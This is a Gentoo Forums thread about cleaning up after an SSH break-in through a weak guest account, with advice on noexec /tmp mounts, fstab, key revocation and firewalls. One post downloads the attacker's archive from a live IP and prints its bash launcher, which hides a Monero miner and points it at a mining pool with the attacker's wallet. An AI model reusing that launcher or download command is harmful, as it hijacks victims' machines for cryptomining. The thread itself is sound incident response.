Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
Does this look like Malware?
View unanswered posts
View posts from last 24 hours

Goto page Previous  1, 2  
Reply to topic    Gentoo Forums Forum Index Networking & Security
View previous topic :: View next topic  
Author Message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Sat Nov 11, 2017 9:47 am    Post subject: Reply with quote

Quote:
I guess that whatever was running as guest came out of that.


So in terms of the payload, there were actually 2 files, and it looks like only 1 of the 2 had been extracted on the system. That is until I went ahead and extracted the other (to see what it contained). I did this on another system so there was no chance that anything besides my live environment would stand to be effected.

I think the b23 virus was all that happened at this point. The mine68 one didn't.

The post I did about 1 hour ago I just updated so you can see more clearly which two files it is (by noting them next to it)
Back to top
View user's profile Send private message
NeddySeagoon
Administrator
Administrator


Joined: 05 Jul 2003
Posts: 39312
Location: 56N 3W

PostPosted: Sat Nov 11, 2017 9:47 am    Post subject: Reply with quote

LIsLinuxIsSogood,

Using your link, I did
Code:
wget --no-check-certificate ftp://37.139.5.191/mine68b.tar.gz
and moved the file somewhere harmless.
tar says it contains
Code:
~/downloads/evil_crack_attack $ tar --list -f mine68b.tar.gz
.z/
.z/h64
.z/1
.z/mdx
.z/h32
.z/md32
.z/x
.z/run
.z/z
.z/md
.z/a

Notice the hidden directory. Untaring to look is safe
Code:
~/downloads/evil_crack_attack/.z $ ls -al
total 4168
drwxr-xr-x 2 roy roy    4096 Nov  5 21:25 .
drwxr-xr-x 3 roy roy    4096 Nov 11 09:20 ..
-rwxr-xr-x 1 roy roy     319 Nov  5 22:06 1
-rwxr-xr-x 1 roy roy     329 Oct 27 14:30 a
-rwxr-xr-x 1 roy roy   15125 Feb 20  2016 h32
-rwxr-xr-x 1 roy roy  838583 Feb 20  2016 h64
-rwxr-xr-x 1 roy roy 2979640 Jun 23 21:19 md
-rwxr-xr-x 1 roy roy  227220 Oct 22 15:25 md32
-rwxr-xr-x 1 roy roy  168896 Sep 27 11:58 mdx
-rwxr-xr-x 1 roy roy     564 Nov  5 22:05 run
-rwxr-xr-x 1 roy roy      24 Oct  4 19:45 x
-rwxr--r-- 1 roy roy     139 Nov  5 21:21 z

as is running file to see what the files are.

Code:
~/downloads/evil_crack_attack/.z $ file 1
1: Bourne-Again shell script, ASCII text executable

That contains
Code:
 #!/bin/bash

proc=`nproc`
ARCH=`uname -m`
HIDE="-bash"

if [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./mdx -a cryptonight -o stratum+tcp://xmr-eu1.nanopool.org:14444 -u 45GCe3MjJq9SgJLQrgsvs2fgpX9Tu6B1mZrUnusaPLcSGveHeBHZZhqY9JciEKqYVyACZamLejJDaeydLksTG1iSFgMB68b -p x >>/dev/null &
fi
echo $! > bash.pid

Notice it tries to do something on port 14444.
With my firewall, it would have been REJECTED outgoing and logged. This is an example of trying to phone home.

Given the differences between the pristine download and your post, I guess that mine68b.tar.gz is a loader, that fetches more.
In which case it may be a fully automated attack. Hardly anything would be in .bash_history as its all scripted.

Code:
-rwxrwxrwx  1 root root 945732 Oct 31  2016 b
is a really bad sign, since only root can create root owned files.
I wonder, ... add -n to your ls command.

If the owner is 0 that's really root, if its some other number we need to look further.

If the attacker had root, why were fhey running stuff as guest and trying to hide it?
Maybe there were several independent attackers, unaware of one another.

--- edit ---

You will forgive me if I don't run it. :)
_________________
Regards,

NeddySeagoon

Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail.
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Sat Nov 11, 2017 10:48 am    Post subject: Reply with quote

Its a bit late now as I've deleted it. But i see your point, and thanks for taking the time to look into it and harmlessly (: have a crack at the files in there.

Thanks again. I know that looks bad, and I am going to do my best to avoid use of all the files on the system, but it looks like my last complete backup could have a been a while ago. How do you feel about instead of a reinstall, I should just restore from a bare metal backup I did sometime a few months back and then just update the system. Hopefully if I go back far enough, I usually only do one of these every month or two (at most). Of course, just starting fresh with an install is always an option too.
Back to top
View user's profile Send private message
NeddySeagoon
Administrator
Administrator


Joined: 05 Jul 2003
Posts: 39312
Location: 56N 3W

PostPosted: Sat Nov 11, 2017 12:29 pm    Post subject: Reply with quote

LIsLinuxIsSogood,

Can you prove your backup is clean?

I would copy /etc and your world file to a USB stick and reinstall. You can only refer to the stuf on the USB stick, not reuse the files.
Now reinstall.

You can copy and paste the contents of individual files from the saved /etc to the new install.
That forces you to review them on the way.
Likewise, you can copy and paste the contents of your world file into the new install.
Again, you review it on the way.

At this point, you are in a chroot with a stage3 and populated world file, ready to build things.
Populate /etc/portage with the copy/paste/review process.

When you are ready
Code:
emerge -uDUav @world --keep-going --with-bdeps=y
will rebuild things.
You still have to do the grub dance so it will boot.

If you have any confidential personal information on that compromised system, like private keys - revoke them now.
Public keys don't matter, they are supposed to be public.
Change your ssh keys everywhere if you have ssh private keys there.

Bank/credit card/amazon/paypal logins ... tell the providers and get them changed.
Even if you use a 'wallet' with a passphrase, it may be cracked offline and can no longer be trusted.

If the attacker(s) got root the only safe course of action is to assume that they got everything else too.
Do not reuse any user passwords - anywhere. Force all your users to change their passwords.
If you don't already, force strong passwords. That makes brute forcing harder.
_________________
Regards,

NeddySeagoon

Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail.
Back to top
View user's profile Send private message
Hu
Moderator
Moderator


Joined: 06 Mar 2007
Posts: 11443

PostPosted: Sat Nov 11, 2017 4:58 pm    Post subject: Reply with quote

If these files were all written to and run from /tmp, how did any of this make any forward progress after the initial download? Did you not mount /tmp as noexec,nodev? This is not a catch-all defense if users are allowed to run code from their home, but it stops some trivial attacks by denying them a well-known path that is writable+executable. Denying unprivileged users any areas that are writable+executable is a bit more challenging politically, but provides a major step up in isolating malicious downloads.

As an aside, whoever wrote that payload needs some remedial lessons in shell commands. On the other hand, they did know the quirk for reading the last record with the Bash read.
Back to top
View user's profile Send private message
eccerr0r
Watchman
Watchman


Joined: 01 Jul 2004
Posts: 6370
Location: almost Mile High in the USA

PostPosted: Sat Nov 11, 2017 5:49 pm    Post subject: Reply with quote

Tempted to grab and run this on a networkless VM to see what it does...
_________________
Intel Core i7 2700K@ 4.1GHz/HD3000 graphics/8GB DDR3/180GB SSD
What am I supposed watching?
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Sat Nov 11, 2017 9:09 pm    Post subject: Reply with quote

Quote:
If these files were all written to and run from /tmp, how did any of this make any forward progress after the initial download? Did you not mount /tmp as noexec,nodev? This is not a catch-all defense if users are allowed to run code from their home, but it stops some trivial attacks by denying them a well-known path that is writable+executable.

Looking at the backup it is clear that at some point (maybe while diagnosing some issues with Temporary files in the /tmp folder that I applied my own chmod to that folder) and thereby opened up this whole attack. Oops!

root@sysresccd /mnt/gentoo % getfacl tmp
# file: tmp
# owner: root
# group: root
# flags: --t
user::rwx
group::rwx
other::rwx


What should this look like, can someone please provide an example? So I may return it to its appropriate state and close that security gap.


Quote:
Can you prove your backup is clean?

Yes. From my backup, I think I can proove that the payload wasn't there, nor was the key so that could be a pretty good sign. That it is most likely PRE-infection.

root@sysresccd /mnt/gentoo/home/guest/.ssh % ls -l
total 4
-rw-r--r-- 1 1002 1002 94 Jul 29 10:10 known_hosts

root@sysresccd /mnt/gentoo/tmp % ls -la
total 48
drwxrwxrwt 11 root root 4096 Sep 17 07:48 .
drwxr-xr-x 24 root root 4096 Nov 11 10:57 ..
-rw-r--r-- 1 1001 1001 0 Sep 17 05:09 .autofs_change
drwxr-xr-x 2 root root 4096 Sep 17 07:50 cron.bZLStD
drwx------ 2 root root 4096 Sep 17 07:38 firefox-dev_root
drwx------ 2 1001 1001 4096 Sep 17 05:09 firefox_jonr
drwxrwxrwt 2 root root 4096 Sep 17 05:09 .ICE-unix
drwx------ 2 1001 1001 4096 Sep 17 06:24 mozilla_jonr0
drwx------ 2 1001 1001 4096 Sep 17 05:09 pulse-2L9K88eMlGn7
drwx------ 2 root root 4096 Sep 17 05:09 pulse-PKdhtXMmr18n
drwx------ 2 root root 4096 Sep 17 07:29 qdirstat-root
srwxr-xr-x 1 root root 0 Sep 17 05:09 wpa_ctrl_2608-1
-r--r--r-- 1 root root 11 Sep 17 07:48 .X0-lock
drwxrwxrwt 2 root root 4096 Sep 17 07:48 .X11-unix


So, no payload. And no ssh auth keys. Nonetheless, it seems like a good idea to remove all private keys and begin with assigning some better security rules to SSH going ahead.

Re: BASH_HISTORY
I just looked at the recovery for bash_history and it matches exactly what I saw from the later situation even after the virus, which validates what I thought that either (a) no execution of further commands/code by guest or (b) if it happened in bash then the tracks were covered. I may just continue from that tightening up stuff (security measures et cetera). And being super diligent to look out for any signs of further corrupted stuff or attacks of any kind. What I don't understand is what the point is of backing up in this case if I can't actually recover any of my documents, media (music, movies), personal files, and all of it really. I mean the reinstalling seems like it has a particular use for something where the payload was executed, not just the appearance of having gotten into the root account, because that itself could be a hack as you mentioned if that isn't really uid=0 in this case. IDK because I've since removed everything and won't be able to check anything. At this point, I restored from backup, in September.


Last edited by LIsLinuxIsSogood on Sat Nov 11, 2017 9:15 pm; edited 3 times in total
Back to top
View user's profile Send private message
Ant P.
Advocate
Advocate


Joined: 18 Apr 2009
Posts: 4539

PostPosted: Sat Nov 11, 2017 9:12 pm    Post subject: Reply with quote

You were running Firefox as root?
_________________
*.ebuild // /etc/service/*
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Sat Nov 11, 2017 9:19 pm    Post subject: Reply with quote

Quote:
You were running Firefox as root?


I was it is possible yes. But probably only while testing the features of an out of tree build that was downloaded source code. I can't recall specifically if it was due to some problem with installation or just a mistake (I agree with you)...in general I may have fired it up a couple of times as root, BUT no ongoing use as root. I think it is interesting since root is supposed to have access to everything on the system that the "restrictions" that could be placed there as suggestions are really meant to be taken strongly.

Do you never use the web as root? Because if that is a piece of advice I will remember to take that one seriously. Just like I hope to never "have to" run any DE or X session as that user.
Back to top
View user's profile Send private message
NeddySeagoon
Administrator
Administrator


Joined: 05 Jul 2003
Posts: 39312
Location: 56N 3W

PostPosted: Sat Nov 11, 2017 9:31 pm    Post subject: Reply with quote

LIsLinuxIsSogood,

Code:
drwxrwxrwt  11 root root    280 Nov 11 20:27 tmp

and /tmp should be mounted
Code:
/dev/shm on /tmp type tmpfs (rw,nosuid,nodev,noexec,noatime)

nosuid,nodev,noexec helps stop the nasties as any code that they upload there cannot be run.

You can use you backups only if you can demonstrate that they are clean.

You must still do all the
NeddySeagoon wrote:
If you have any confidential personal information on that compromised system, like private keys - revoke them now.
Public keys don't matter, they are supposed to be public.
Change your ssh keys everywhere if you have ssh private keys there.

Bank/credit card/amazon/paypal logins ... tell the providers and get them changed.
Even if you use a 'wallet' with a passphrase, it may be cracked offline and can no longer be trusted. If the attacker(s) got root the only safe course of action is to assume that they got everything else too.
Do not reuse any user passwords - anywhere. Force all your users to change their passwords.
If you don't already, force strong passwords. That makes brute forcing harder.


None of that can be reused.

Mounting /home noexec is good too but you may get complaints from users.
_________________
Regards,

NeddySeagoon

Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail.
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Sat Nov 11, 2017 9:59 pm    Post subject: Reply with quote

Thank you all very much.

I will look into securing the system by checking my mount options (are those in fstab or mtab or where exactly...)

Also, I'll be sure to remove all login passwords, and those things, plus as mentioned everything you said I will take it into account and remove.

Thanks
Back to top
View user's profile Send private message
NeddySeagoon
Administrator
Administrator


Joined: 05 Jul 2003
Posts: 39312
Location: 56N 3W

PostPosted: Sat Nov 11, 2017 10:29 pm    Post subject: Reply with quote

LIsLinuxIsSogood,

Mount options go in /etc/fstab

Code:
# Warning mounting /tmp noexec is a good idea but breaks nvidia-drivers
/dev/shm                                   /tmp                    tmpfs  noexec,noatime,nodev,nosuid 0 0

Thats an old comment. I think nvidia-drivers has been fixed for many years.

Security in like the layers of an onion. Assess your perceived threat and put in place the security to defend against it.
The idea is not always just to keep the bad guys out, its to limit the damage that they can do if they do get in.

A firewall that limits connections in both directions can help. It would have stopped port 14444 being used.
Mounting /tmp noexec would have stopped code uploaded being executed there but guest had WX space on /home.
It would not have defeated a human attacker but may have defeated a script.
The guest user should not have been allowed ssh access.
The firewall could allow only some IP ranges to connect to ssh.
Key based ssh could be used.

The idea is to make an attacker move on before they can achieve anything.

Think about 'port knocking' for ssh. Its another way to keep out uninvited users.
Don't just focus on ssh. Any open port is an attack vector.
_________________
Regards,

NeddySeagoon

Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail.
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Wed Nov 15, 2017 2:21 am    Post subject: Reply with quote

So why this:
Code:
/dev/shm                                   /tmp                    tmpfs  noexec,noatime,nodev,nosuid 0 0   


Instead of this:
Code:
none               /tmp       tmpfs    nodev,nosuid,noexec                 0 0


Or are those essentially the same options to include anyhow once udev hands over the operation of devices to the user?

Regarding the NVidia drivers, those seem to be ok at the moment, but what I can't do is to run wpa_supplicant given this configuration, since it's script is usually done by making some executable imprint within the /tmp directory.

I guess I can find a way around using it, altogether, but anyway if I wanted to continue WITH IT, what would I have to include in terms of a hook of some kind in the script to mount/remount exec privileges, if possible and then remount again without them based on fstab (noexec)? I see this problem of having not followed the security handbook's protocol as having directly lead to my getting malware on my machine, therefore I'm destined to not want to repeat this. [/quote]any suggestions would be appreciated, thanks!
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Wed Nov 15, 2017 9:47 am    Post subject: Help with fstab entries please and permissions in tmp Reply with quote

I guess to be a bit more specific about my ongoing concern here, which I feel could easily have been the start of another post (still learning the etiquette to this forum hee heh)

With this as my new fstab
Code:
/dev/sda2       /boot           ext2    noauto,relatime                 1 2
/dev/sda3       none            swap    sw                              0 0
/dev/sda4       /               ext4    relatime,errors=remount-ro      0 1
/dev/sda5       /home           btrfs   relatime,nodev,nosuid    0 2
/dev/cdrom      /mnt/cdrom      iso9660 noauto,ro                       0 0
/dev/shm        /tmp            tmpfs   nodev,nosuid,noexec             0 0


Everything looks like it should be fairly good to go, there's a coulple differences so I wanted to check it out. Before moving on, for some reason this still leaves my /tmp directory with similar permissions as before...do I need to manually change the bits for just /tmp directory?

Code:
******** / # ls -l | grep tmp
drwxrwxrwt   4 root root       140 Nov 15 09:39 tmp
Back to top
View user's profile Send private message
NeddySeagoon
Administrator
Administrator


Joined: 05 Jul 2003
Posts: 39312
Location: 56N 3W

PostPosted: Wed Nov 15, 2017 11:52 am    Post subject: Reply with quote

LIsLinuxIsSogood,

The root cause of the intrusion was a guest account with an easy to guess password (often guest) that was allowed to use ssh.
That's the main lesson.

Exploits come in two major categories. Remotely exploitable and locally exploitable. Locally exploitable issues may be far more damaging as users with local access (including ssh) tend to be more trusted than people portscanning and running dictionary attacks against your sshd.
Step one it to keep these users out.
Step two is to not expose any applications that have known exploits to the internet.
Step three is to make it hard for an intruder to do anything useful when they do break in.
Step four is to prevent an intruder phoning home.

When an intruder has access to some space that has both write and execute permissions, they can save and subsequently execute random binaries.
That's a very bad thing. If wpa_supplicant needs /tmp to be wx, you will need to grant it as there is really no alternative if you want to use WPA to keep other users off your wifi. If you want to encrypt your wifi, you should run your own tunnel over it. Maybe that's too paranoid?

I'm a little paranoid. I don't trust wifi, it has its own isolated subnet. I do use wpa_supplicant but my wifi devices de not contain any personal information.

Having started wifi and run
Code:
ls -laR | grep wx
on /tmp I only get symlins and directories listed. That's harmless as permissions on symlinks are never used and x on directories mean that the owner, group, world may cd to the directory.
wpa_supplicant may still want wx on a transient script.

Hmm ...

Code:
Pi3_64 ~ # mount -o remount,noexec,nodev,nosuid /tmp
Pi3_64 ~ # /etc/init.d/net.wlan0 stop
 * Bringing down interface wlan0
 *   Stopping dhcpcd on wlan0 ...
sending signal TERM to pid 29920
waiting for pid 29920 to exit                                                                                                                                                                      [ ok ]
 *   Stopping wpa_cli on wlan0 ...                                                                                                                                                                 [ ok ]
 *   Stopping wpa_supplicant on wlan0 ...                                                                                                                                                          [ ok ]
Pi3_64 ~ # /etc/init.d/net.wlan0 start
 * Bringing up interface wlan0
 *   Changing MAC address of wlan0 ...                                                                                                                                                             [ ok ]
 *     changed to B8:27:EB:7D:65:AB
RTNETLINK answers: Operation not possible due to RF-kill
 *   Starting wpa_supplicant on wlan0 ...
Successfully initialized wpa_supplicant
rfkill: WLAN soft blocked                                                                                                                                                                          [ ok ]
 *   Starting wpa_cli on wlan0 ...                                                                                                                                                                 [ ok ]
 *   Backgrounding ... ...
 * WARNING: net.wlan0 has started, but is inactive

rfkill doesn't like noexec,nodev,nosuid

-- edit --

rfkill is fine. I just needed to run it.
_________________
Regards,

NeddySeagoon

Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail.
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Wed Nov 15, 2017 7:16 pm    Post subject: Reply with quote

Cool, it is figured out and yes the problem of remote access with insecure account passwords is something i will be changing moving forward.
Back to top
View user's profile Send private message
Jaglover
Watchman
Watchman


Joined: 29 May 2005
Posts: 5967
Location: Saint Amant, Acadiana

PostPosted: Wed Nov 15, 2017 7:34 pm    Post subject: Reply with quote

The main thing is to have a user named 'test' with password 'test', with sudo rights.
_________________
Please learn how to denote units correctly!

Political Correctness is all about replacing imaginary injustice with real injustice.
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Thu Nov 16, 2017 2:49 am    Post subject: Reply with quote

This is a joke. Or else I'm reading it wrong....but you have a point here, which is that the very good news was about the limited effect, I caught it in the system before there was access (I believe) to the root account. The truth is that there was a single file with root ownership, but there was also no way of knowing if that was done through my system's root account or just placed "there" to look like it was.

I think sudo and sudo rights is what saved me here. The hassle of having to not be able to refer back to these files, or else worse yet maybe they would have been able to better cover their tracks had they been successfully able to access the root account.

From what I can see, there was "little" action taken and that to me is fairly inconsistent with the purpose of a hacker gaining root access, which is also why I believe that never occurred.

So far, this has been more of a lesson about mount options (in tmp directory) and the proper settings for SSH. But in addition, as neddy has continually pointed the user accounts on the system need to be (or ought to be) heavily in check. I don't know about how others feel about this, but to me while it makes sense it also was somewhat not the most intuitive place to lock down the system, as most of what is required to infect the system happens over just a few certain open ports, or with physical access to the machine, no?

In this case, I still have no clue how it gone onto my machine, but I think that the purpose a while ago of my adding a guest account had nothing to do with SSH, but was something for testing hardware (audio I think).
Back to top
View user's profile Send private message
Hu
Moderator
Moderator


Joined: 06 Mar 2007
Posts: 11443

PostPosted: Thu Nov 16, 2017 3:49 am    Post subject: Reply with quote

CAP_CHOWN is privileged and typically only found on processes running with root permission (some special exceptions apply, but are not relevant to this thread). Processes must have CAP_CHOWN to change the ownership of a file. If you found a file owned by root, then a process running as root wrote it or a process with CAP_CHOWN (which is roughly equivalent to saying "a process running as root") changed the ownership of it to be root. Either way, files don't end up owned by root without some cooperation from root. The only way it's acceptable to find a root owned file in this scenario is if you, as the authorized user of root, accidentally caused the file to be root-owned. If you didn't make the file owned by root, then someone else with root privilege did. That's a bad sign, because while it's possible that the attacker got CAP_CHOWN on an otherwise unprivileged process and didn't use it for anything worse than leaving this worrying clue, it's much more likely that if the attacker could change file ownership, then he had relatively unrestricted root access.

Mode 1777, typically reported as rwxrwxrwt, is standard on /tmp. The noexec mount option does not affect the shown permissions. In Neddy's list of steps, step three is complicated for the attacker by reducing the set of places that the attacker can write and subsequently run programs. They can still do damage without that, but it's harder, and if they aren't prepared, they may not have any attacks ready that work with that restriction active. If you're very lucky, the attacker is an automated script that assumes /tmp is not noexec, and the script will be completely blocked when that assumption fails. Don't count on being lucky, but do lock your doors, in case the attacker forgot to bring lockpicks. ;)
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Thu Nov 16, 2017 6:38 am    Post subject: Reply with quote

Quote:
an otherwise unprivileged process and didn't use it for anything worse than leaving this worrying clue, it's much more likely that if the attacker could change file ownership, then he had relatively unrestricted root access.


Why would an attacker be delaying at that point?

My guess is you are at least partially correct in assuming that whatever root file I had (back earlier in the thread) was probably not the attacker or else was me doing it. I just can't see how a file like that would show up, maybe from some internet source possibly even unrelated to the attack. At this point the whole operating system has been deleted anyways. So no worries. I do have some files on my backup drive, but as Neddy pointed to, I will not try to use those files for other than a reference to them (so far I may have copied some of them only, but starting now I will be more to his suggestions not to.)

Fascinating thing I learned was about SSH attacks going on within the world at large, and some users experiencing hundreds of attempts to break in each day. So that's why I shut off the service for now. Until I can read up on securing the secure shell. Up until now I was basically not relying on it for its security but for its remote access features, which is a huge part of it, but I guess with user accounts and privileges, disk access through the network, and other security concerns that is going to have to wait until I have followed the protocols for securing those things and then I can open up port 22 for secure private key with host specific access. I do not have a true firewall at the house, just a regular Netgear router. So no real protection there I don't think, other than some basic difficulty it could cause to ME.
Back to top
View user's profile Send private message
LIsLinuxIsSogood
Guru
Guru


Joined: 13 Feb 2016
Posts: 464

PostPosted: Thu Nov 16, 2017 7:20 am    Post subject: Reply with quote

Just came across something while working to secure my new desktop, in the security handbook after reading the PAM section and then checking out the man pages as well, the problem is there is a line that I don't understand, which is the following:

Quote:
-:wheel:ALL EXCEPT LOCAL .gentoo.org


From having read the man page, I would assume this means to disallow logins by wheel (which includes my root user!) to any local resources that are not labeled as gentoo.org

What is the point of that? Is it to keep others from installing miniature systems or new host spaces or to protect from some other activty. The only concern I have with entering it in is that I will lose root access to my machine at some point if for whatever stupid reason of my own something got changed by a command run as root or something like that.

Maybe someone could help me to clear up what to gentoo.org have to do with anything in terms of logging in as a user on my localhost?

FYI - the more complete set of instructions from the security handbook have this as the example,

/etc/security/access.conf

Code:
-:ALL EXCEPT wheel sync:console
-:wheel:ALL EXCEPT LOCAL .gentoo.org


Basically meaning what...that if root was ever removed from wheel that logins to the machine would be completely unrecoverable? I think it makes sense to start a new post on this separate topic to see what kind of suggestions I might get, that is my next step.
Back to top
View user's profile Send private message
Hu
Moderator
Moderator


Joined: 06 Mar 2007
Posts: 11443

PostPosted: Fri Nov 17, 2017 2:44 am    Post subject: Reply with quote

LIsLinuxIsSogood wrote:
Why would an attacker be delaying at that point?
It could be a poorly informed attacker, a script with an unusual purpose, or someone who just wants to confuse you; or it could be none of those things and the attacker left that behind as a misdirect or an incidental artifact of how the real attack worked.
LIsLinuxIsSogood wrote:
I do not have a true firewall at the house, just a regular Netgear router. So no real protection there I don't think, other than some basic difficulty it could cause to ME.
Why not use Netfilter (via iptables) to restrict access? It's only per-machine instead of network wide, but it works fine.
Back to top
View user's profile Send private message
NeddySeagoon
Administrator
Administrator


Joined: 05 Jul 2003
Posts: 39312
Location: 56N 3W

PostPosted: Fri Nov 17, 2017 8:31 am    Post subject: Reply with quote

LIsLinuxIsSogood,

Somebody had root to leave a root owned file behind.

Code:
root@sysresccd /mnt/custom/tmp/.b23z % ls -al
total 1904
drwxr-xr-x  2 root root   4096 Jul 28 13:21 .
drwxrwxrwt 10 root root   4096 Nov 10 00:54 ..
-rw-r--r--  1 1002 1002      0 Nov 10 00:31 .a
-rwxrwxrwx  1 root root 945732 Oct 31  2016 b


Its all in the attack directory too, so I'w fairly sure that it wasn't you.
Also, root does not normally make files with rwxrwxrwx permissions.
From the Oct 31 2016 timestamp, that file was created elsewhere then uploaded after the attacker had gained root.

I second the iptables approach. Writing iptables rules by hand is painful but there are a number of front ends that make it easier.
I use shorewall but thats one of several.
_________________
Regards,

NeddySeagoon

Computer users fall into two groups:-
those that do backups
those that have never had a hard drive fail.
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Networking & Security All times are GMT
Goto page Previous  1, 2
Page 2 of 2

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum